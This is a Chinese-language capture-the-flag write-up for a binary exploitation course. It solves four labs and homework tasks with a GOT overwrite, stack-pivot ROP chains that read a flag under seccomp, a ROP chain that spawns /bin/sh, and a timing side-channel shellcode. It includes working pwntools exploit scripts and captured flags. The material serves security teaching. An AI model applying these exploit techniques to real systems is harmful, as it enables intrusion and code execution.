[0x07] pwn I

[LAB] got2win

lecture: https://youtu.be/ktoVQB99Gj4
slide: https://drive.google.com/drive/folders/15jPvm8L618aYkuOkyEm17DzPlFDgCzL8?usp=share_link

題目

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> char flag[0x30]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); int fd = open("/home/user/Desktop/pwn1/got2win_642f93b268c28cb0/got2win/test/flag", O_RDONLY); read(fd, flag, 0x30); close(fd); write(1, "Good luck !\n", 13); unsigned long addr = 0; printf("Overwrite addr: "); scanf("%lu", &addr); printf("Overwrite 8 bytes value: "); read(0, (void *) addr, 0x8); printf("Give me fake flag: "); int nr = read(1, flag, 0x30); if (nr <= 0) exit(1); flag[nr - 1] = '\0'; printf("This is your flag: ctf{%s}... Just kidding :)\n", flag); return 0; }

:13,15 會先把 flag 讀取近來

:18,22 讓我們 Overwrite 一個記憶體位址

:25 會從 stdout 把東西讀進 flag

把東西從 stdout 讀進來看起來很特別
只要把 read 想辦法蓋成 write 就可以直接把 flag 輸出到 stdout

這邊來找 readgot 由下圖可知是 0x404038
writeplt0x401030

read got 的地方寫成 writeplt
那最後程式執行到 read 的時候就會把 write 載入到 read got
就成功把 read 蓋成 write

got2win/exp.py
from pwn import *

context.arch = 'amd64'

r = remote('edu-ctf.zoolab.org', 10004)

read_got = 0x404038
write_plt = 0x401030

r.sendlineafter(b'Overwrite addr: ', str(read_got).encode())
r.sendafter(b'Overwrite 8 bytes value: ', p64(write_plt))

r.interactive()
'''output
[+] Opening connection to edu-ctf.zoolab.org on port 10004: Done
[*] Switching to interactive mode
Give me fake flag: FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
\x00\x00his is your flag: ctf{FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
}... Just kidding :)
[*] Got EOF while reading in interactive
'''

[LAB] rop2win

題目

#include <stdio.h> #include <unistd.h> #include <seccomp.h> char fn[0x20]; char ROP[0x100]; // fd = open("flag", 0); // read(fd, buf, 0x30); // write(1, buf, 0x30); // 1 --> stdout int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_load(ctx); seccomp_release(ctx); printf("Give me filename: "); read(0, fn, 0x20); printf("Give me ROP: "); read(0, ROP, 0x100); char overflow[0x10]; printf("Give me overflow: "); read(0, overflow, 0x30); return 0; }

題目用 seccomp rule 限制了 syscall

這邊 open read write exit_group exit 仍可使用

所以打算使用 open read write 來構造出下面的結構

open(filename, 0, 0);
read(fd, filename_addr, 0x30);
write(1, filename_addr, 0x30);

checksec

看到有 NX 所以先考慮使用 ROP Stack pivoting

全域變數

這邊題目好心給了 fn[0x20] ROP[0x100] 這兩個可控的全域變數
這樣可以很方便的取得他們的位置

gef
gef➤  p &fn
$5 = (<data variable, no debug info> *) 0x4e3340 <fn>
gef➤  p &ROP
$6 = (<data variable, no debug info> *) 0x4e3360 <ROP>
gef➤  

所以這邊打算把

  1. fn 放成 /home/chal/flag
  2. ROP 放成 ROP

所以要來找 ROP Gadget

ROP Gadget

這裡使用 ROPgadget 來找 ROP Gadget

user@user-vm ~/D/p/rop2win> ROPgadget --binary ./share/chal > rop1

會用到的有

  1. pop_rdi_ret
  2. pop_rsi_ret
  3. pop_rax_ret
  4. leave_ret
  5. syscall_ret

不過這裡沒有 pop_rax_ret 所以找了 pop_rax_rdx_rbx_ret

這樣就有 open read write

控制程式執行流程

這邊題目給了 overflow[0x10]
題目會讀取 0x30 個字
所以有 overflow
然後題目給的 overflow 剛好可以蓋到 ret addr
所以還是需要 ROP 這個變數來放 ROP

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa
                                ^       ^
                                old_rbp ret_addr

ROP Stack Pivoting

有了 overflow 之後
stack 上的

  1. ret addr 蓋成 leave ; ret 的位置
  2. old_rbp 蓋成 &ROP-8

如下圖

這樣執行到 leave 的時候
rbp 會跑去 &ROP-8

執行到 ret 的時候
rip 會跳去 leave ; ret 的位置
如下圖

所以接下來又會碰到一次 leave ; ret

碰到 leave 的時候
相當於執行

mov rsp, rbp
pop rbp

所以 rsp 會被蓋成 rbp 也就是 &ROP-8
rsp 好像還會加 8 (? 好像是 pwntools 做的事) 所以會是 &ROP

碰到 ret 的時候
因為 rsp 已經變道 &ROP
所以 rip 會跳到 rsp 也就是 ROP 上第一個所指的地方
那邊是可控的

只要把 ROP 做好就可以
會用到的 gadget 都找好了
接著跳到 ROP 後就可以收 flag

以下是我的 ROP chain

rop2win/exp.py
ROP = flat(
#   open(filename, 0, 0)
    pop_rdi_ret, filename_addr,
    pop_rsi_ret, 0,
    pop_rax_rdx_rbx_ret, 2, 0, 0,
    syscall_ret,

#   read(fd, filename_addr, 0x30)
    pop_rdi_ret, 3,
    pop_rsi_ret, filename_addr,
    pop_rax_rdx_rbx_ret, 0, 0x30, 0,
    syscall_ret,

#   write(1, filename_addr, 0x30)
    pop_rdi_ret, 1,
    pop_rsi_ret, filename_addr,
    pop_rax_rdx_rbx_ret, 1, 0x30, 0,
    syscall_ret
)


'''output: 
[+] Opening connection to edu-ctf.zoolab.org on port 10005: Done
[*] Switching to interactive mode
FLAG{banana_72b302bf297a228a75730123efef7c41}
\x00[*] Got EOF while reading in interactive
'''

[HW] rop++

題目

#include <stdio.h> #include <unistd.h> #include <string.h> int main() { char buf[0x10]; const char *msg = "show me rop\n> "; write(1, msg, strlen(msg)); read(0, buf, 0x200); return 0; }

file

checksec

overflow

題目 :15 有明顯的 overflow
因為有 NX 所以不能直接寫 shellcodestack 執行
這邊打算用 ROP

來了解一下 old rbp&bufoffset

送給 buf 以下 pattern

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa

由下圖可看出 old rbpoffset0x20
所以 ret addroffset0x28

這邊想要拿到 "/bin/sh\x00" 這個字串
然後在 execve("/bin/sh")

這邊先試著用 read(0, somewhere, 8)"/bin/sh\x00" 試著寫進去

0x000000004c5000 可讀可寫
那就決定把 "/bin/sh\x00" read 到 0x000000004c5000

可以從下圖看到寫的進去
而且我選的 syscall 後面會跳回原處
然後變成 lseeksyscall
syscall 後面會跳回原處
然後變成 lseeksyscall
syscall 後面會跳回原處
然後變成 lseeksyscall
行程無限迴圈

可是這裡找到的 ROP Gadget 只有 syscall 沒有 syscall ; ret

所以我們只能用一次 syscall

那就用別的方法把 /bin/sh\x00 寫進去
https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/

所以找了個

   0x449fa5 <_dl_get_tls_static_info+21>:       mov    QWORD PTR [rsi],rax
   0x449fa8 <_dl_get_tls_static_info+24>:       ret

然後構成了以下的 ROP chain

rop++/exp.py
ROP = flat(
    # move "/bin/sh\x00" to writable_addr
    pop_rax_ret, bin_sh, 
    pop_rsi_ret, writable_addr,
    mov_rax2rsi_addr_ret,

    # execve('/bin/sh', 0, 0)
    pop_rdi_ret, writable_addr,
    pop_rsi_ret, 0,
    pop_rax_rdx_rbx_ret, 0x3b, 0, 0,
    syscall,
)
'''output
user@user-vm ~/D/p/rop++> python3 ./exp.py
[+] Opening connection to edu-ctf.zoolab.org on port 10003: Done
[*] Switching to interactive mode
$ cat /home/chal/flag
FLAG{chocolate_c378985d629e99a4e86213db0cd5e70d}
$  
'''

[HW] how2know

題目

#include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <seccomp.h> #include <sys/mman.h> #include <stdlib.h> static char flag[0x30]; int main() { void *addr; int fd; scmp_filter_ctx ctx; addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((unsigned long)addr == -1) perror("mmap"), exit(1); fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the code\n", 33); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); ((void(*)())addr)(); return 0; }

file

看到 dynamically linked

checksec

看到 NX 不過題目會處理讓 shellcode 可以執行所以沒差

got

seccomp-tools

solve

看到只能用 exit exit_groupsyscall
只能想辦法用其他方法 leak 出 flag

https://unam.re/blog/reading-files-without-write-syscall

先找到 flag 的記憶體位置

結果發現每次都會變

看到 flag 是相對於 rip
所以我們需要執行到 +119 的時候的 rip

而那個時候的 rip 的資訊我們可以從 stack 上找到

然後 <main+0> 也在 stack 也就是 $rbp+0x18

flag 的位置在 <main+159> + 0x2d18
所以可以算的出來

實際試看看可以發現算出來的是對的

flag 的位置的話我們就可以開始 leak flag
我們透過讓產生兩種不同的回應來做到資訊的取得
用時間來區分
方法如下

xor r11, r11
delay:
inc r11
cmp r11, 0x7fffffff
jne delay

這樣就可以做出 delay 的效果

可以看到有明顯的時間差如下圖 (第一個是有 delay 的 第二個則否)

我這邊的計畫是如果 flag[i] == guess 就讓他 delay
反之則否
對於每個 i 都試一次就可以找出 flag
shellcode 如下

shellcode
xor rax, rax
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi

mov dl, {guess} /* guess */
mov rsi, [rbp+0x18] /* rsi = <main+0> */
lea rdi, [rsi+159+0x2d18]      /* rdi = (<main+159> + 0x2d18) */
mov al, byte [rdi+{idx}]        /* al = *(&flag+idx) */
cmp al, dl
jnz end


xor r11, r11
delay:
inc r11
cmp r11, 0x7fffffff
jne delay

end:

這邊就先不用二分搜索 反正字數不多
效果看起來不錯

這邊的取法就取時間話最久的來當 flag[i]

做到一半看到一個很危險的

找到的 flag 有差兩個字

FLAG{piano_d11sf1c3f9ed8S19288f4e8ddecfb8ec}
FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}

那就多 sample 個幾次

how2know/exp.py
flag = ''
for i in range(-1, 99999):
    timeTaken = []
    for guess in range(0x21, 0x7f):

        # sample 3 times in case of noise
        timeTaken.append(0)
        timeTaken[-1] = min(getTimeTaken(i, guess), getTimeTaken(i, guess), getTimeTaken(i, guess))

        print(f'idx: {i}, guess: {guess}, time: {timeTaken[-1]}')
    longest_idx = timeTaken.index(max(timeTaken))
    flag += chr(longest_idx + 0x21)
    print(flag)
    if flag[-1] == '}':
        break
        
'''output
FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}
'''